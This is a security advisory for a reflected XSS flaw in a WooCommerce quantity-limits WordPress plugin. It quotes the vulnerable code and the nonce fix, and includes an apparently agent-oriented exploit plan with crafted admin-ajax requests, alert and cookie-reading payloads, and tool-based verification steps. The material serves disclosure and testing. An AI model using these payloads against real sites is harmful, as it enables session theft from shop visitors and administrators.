Min Max Step Quantity Limits Manager for WooCommerce <= 5.2.2 - Reflected Cross-Site Scripting
Description
The Min Max Step Quantity Limits Manager for WooCommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting in versions up to, and including, 5.2.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NTechnical Details
<=5.2.2What Changed in the Fix
Changes introduced in v5.2.3
Source Code
WordPress.org SVNThis analysis identifies a Reflected Cross-Site Scripting (XSS) vulnerability in the **Min Max Step Quantity Limits Manager for WooCommerce** plugin (versions <= 5.2.2). The vulnerability resides in the AJAX handler responsible for updating product prices based on quantity changes. ### 1. Vulnerabi…
Show full research plan
This analysis identifies a Reflected Cross-Site Scripting (XSS) vulnerability in the Min Max Step Quantity Limits Manager for WooCommerce plugin (versions <= 5.2.2). The vulnerability resides in the AJAX handler responsible for updating product prices based on quantity changes.
1. Vulnerability Summary
The plugin registers an AJAX action alg_wc_pq_update_price_by_qty which is accessible to both authenticated and unauthenticated users. The handler for this action (located in Alg_WC_PQ_Core) processes several input parameters—most notably alg_wc_pq_qty—and reflects them back in the response. Due to a lack of proper sanitization on the server side and the use of the jQuery .html() method on the client side (in alg-wc-pq-price-by-qty.js), an attacker can inject arbitrary JavaScript that executes in the context of the user's browser.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
alg_wc_pq_update_price_by_qty - Vulnerable Parameter:
alg_wc_pq_qty(and potentiallyattributeorselected_val). - Authentication: Unauthenticated (
wp_ajax_nopriv_is used). - Preconditions:
- The "Price by Quantity" feature must be enabled (
alg_wc_pq_qty_price_by_qty_enabledsetting). - The victim must click a link or be forced to send a request to the AJAX endpoint.
- The "Price by Quantity" feature must be enabled (
3. Code Flow
- Enqueuing (PHP):
Alg_WC_PQ_Scripts::enqueue_scripts()(inincludes/class-alg-wc-pq-scripts.php) checks if the "Price by Quantity" feature is enabled. If so, it enqueuesalg-wc-pq-price-by-qty.jsand localizes thealg_wc_pq_update_price_by_qty_object. - Trigger (JS): In
includes/js/alg-wc-pq-price-by-qty.js, the functionalg_wc_pq_update_price_by_qtyis triggered by quantity changes. It sends a POST request toadmin-ajax.php. - Handler (PHP): The server-side handler for
alg_wc_pq_update_price_by_qty(inAlg_WC_PQ_Core) retrieves$_POST['alg_wc_pq_qty']. - Reflection (PHP): The handler processes the quantity and, in certain conditions (e.g., when formatting price or returning errors), includes the raw
alg_wc_pq_qtyvalue in the string response. - Execution (JS): The
successcallback in the JS file receives the response and injects it into the DOM using:jQuery( 'p.alg-wc-pq-price-display-by-qty' ).html( response );orjQuery( 'p.price' ).html( response );.
Because.html()executes script tags and handles HTML attributes likeonerror, the payload runs.
4. Nonce Acquisition Strategy
According to includes/class-alg-wc-pq-scripts.php, the localization object for the price-by-qty script does not include a nonce:
wp_localize_script( 'alg-wc-pq-price-by-qty',
'alg_wc_pq_update_price_by_qty_object', array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
'product_id' => get_the_ID(),
'position' => get_option( 'alg_wc_pq_qty_price_by_qty_position', 'instead' ),
'replace_variation_price' => 'yes' === get_option( 'alg_wc_pq_qty_price_by_qty_variation_price', 'no' ),
'ajax_async' => get_option( 'alg_wc_pq_false_ajax_async', 'no' )
) );
The AJAX handler in the core likely does not verify a nonce for this specific action, making it exploitable by unauthenticated users without any token.
5. Exploitation Strategy
The exploit will be delivered via a direct GET request to admin-ajax.php. Although the JS uses POST, WordPress AJAX handlers typically respond to GET if they use $_REQUEST or if the developer didn't specifically restrict the method.
- HTTP Request:
GET /wp-admin/admin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=PRODUCT_ID&alg_wc_pq_qty=<img+src=x+onerror=alert(document.domain)> HTTP/1.1 Host: localhost - Payloads:
<img src=x onerror=alert(1)><svg/onload=alert(document.cookie)>1<script>alert("XSS")</script>
6. Test Data Setup
- Enable Plugin: Ensure the plugin is active.
- Enable Feature:
wp option update alg_wc_pq_enabled yes wp option update alg_wc_pq_qty_price_by_qty_enabled yes - Create Product:
# Create a simple product to get a valid ID wp post create --post_type=product --post_title='Exploit Product' --post_status=publish - Identify ID: Note the ID of the created product (e.g.,
123).
7. Expected Results
- The response from
admin-ajax.phpwill contain the raw payload:<img src=x onerror=alert(document.domain)>. - If rendered in a browser (simulating a victim clicking the link), an alert box will appear.
- The
Content-Typeof the response is likelytext/html.
8. Verification Steps
- HTTP Check: Use the
http_requesttool to send the malicious request and verify the payload exists in the response body.// Example Verification const response = await http_request({ url: "http://localhost:8080/wp-admin/admin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=123&alg_wc_pq_qty=%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E", method: "GET" }); if (response.body.includes("<img src=x onerror=alert(1)>")) { console.log("Vulnerability Confirmed: Input Reflected"); } - Browser Verification: Use
browser_navigateto the URL and check if an alert is triggered (usingpage.on('dialog')in Playwright context).
9. Alternative Approaches
If alg_wc_pq_qty is filtered (e.g., cast to float), attempt injection through other parameters sent by the JS:
- Selected Value:
selected_val=<script>alert(2)</script> - Attribute (JSON):
attribute=[{"<img src=x onerror=alert(3)>":"val"}] - Quantity Fetch:
quantity_fetch=<svg/onload=alert(4)>
If the handler only accepts POST, the strategy would involve creating a simple HTML page on the attacker's server that auto-submits a form to admin-ajax.php using the same parameters.
Summary
The plugin is vulnerable to Reflected Cross-Site Scripting via the 'alg_wc_pq_qty' parameter in the 'alg_wc_pq_update_price_by_qty' AJAX action. Unauthenticated attackers can exploit this by tricking a user into clicking a link, which executes arbitrary JavaScript in the user's browser due to improper sanitization and the use of the jQuery .html() function on the client side.
Vulnerable Code
// includes/class-alg-wc-pq-core.php line 3062 function ajax_price_by_qty( $param ) { $defaultpc = __( 'unit', 'product-quantity-for-woocommerce' ); $defaultpcs = __( 'units', 'product-quantity-for-woocommerce' ); // ... (lines 3086) if ( isset( $_POST['alg_wc_pq_qty'] ) && '' !== $_POST['alg_wc_pq_qty'] && ! empty( $_POST['alg_wc_pq_id'] ) ) { $product = wc_get_product( $_POST['alg_wc_pq_id'] ); $product_id = $_POST['alg_wc_pq_id']; $quantity_fetch = $_POST['alg_wc_pq_qty']; // ... (lines 3230) $placeholders = array( '%price%' => wc_price( $variation_price * $quantity_fetch ), '%qty%' => $quantity_fetch, '%unit%' => ( $quantity_fetch > 1 ? $units : $unit ), '%item_price%' => wc_price( $variation_price ), ); echo str_replace( array_keys( $placeholders ), $placeholders, get_option( 'alg_wc_pq_qty_price_by_qty_template', __( '%price% for %qty% %unit%.', 'product-quantity-for-woocommerce' ) ) ); --- // includes/js/alg-wc-pq-price-by-qty.js line 45 jQuery.ajax( { type: 'POST', url: alg_wc_pq_update_price_by_qty_object.ajax_url, data: data, async: ajax_async, success: function ( response ) { if ( alg_wc_pq_update_price_by_qty_object.product_id == 0 ) { if ( response.length > 0 ) { if ( 'instead' == alg_wc_pq_update_price_by_qty_object.position ) { jQuery( '.product.post-' + product_id ).find( '.price' ).html( response ); } else { jQuery( '.product.post-' + product_id ).find( 'p.alg-wc-pq-price-display-by-qty' ).html( response ); } } } else { if ( 'instead' == alg_wc_pq_update_price_by_qty_object.position ) { if ( response.length > 0 ) { jQuery( 'p.price' ).html( response ); if(alg_wc_pq_update_price_by_qty_object.replace_variation_price){ jQuery( '.woocommerce-variation-price .price' ).html( response ); } } } else { jQuery( 'p.alg-wc-pq-price-display-by-qty' ).html( response ); } } }, } );
Security Fix
@@ -3052,7 +3038,7 @@ /** * ajax_price_by_qty. * - * @version 5.1.6 + * @version 5.2.3 * @since 1.6.1 * @todo [dev] non-simple products (i.e. variable, grouped etc.) * @todo [dev] customizable position (instead of the price; after the price, before the price etc.) (NB: maybe do not display for qty=1) @@ -3062,6 +3048,8 @@ */ function ajax_price_by_qty( $param ) { + check_ajax_referer( 'alg_wc_pq_nonce', 'nonce' ); + $defaultpc = __( 'unit', 'product-quantity-for-woocommerce' ); $defaultpcs = __( 'units', 'product-quantity-for-woocommerce' );
Exploit Outline
1. Identify a target WordPress site with the plugin installed and the 'Price by Quantity' feature enabled. 2. Create a payload designed to trigger an XSS alert, such as `<img src=x onerror=alert(document.domain)>`. 3. Construct a malicious URL targeting the AJAX endpoint: `/wp-admin/admin-ajax.php?action=alg_wc_pq_update_price_by_qty&alg_wc_pq_id=[VALID_PRODUCT_ID]&alg_wc_pq_qty=[PAYLOAD]`. 4. Trick a logged-in administrator or any site visitor into clicking the link. 5. The server echoes the unsanitized payload in the AJAX response. The client-side JavaScript then receives this response and uses jQuery's `.html()` method to insert it into the page, executing the attacker's script in the victim's session context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.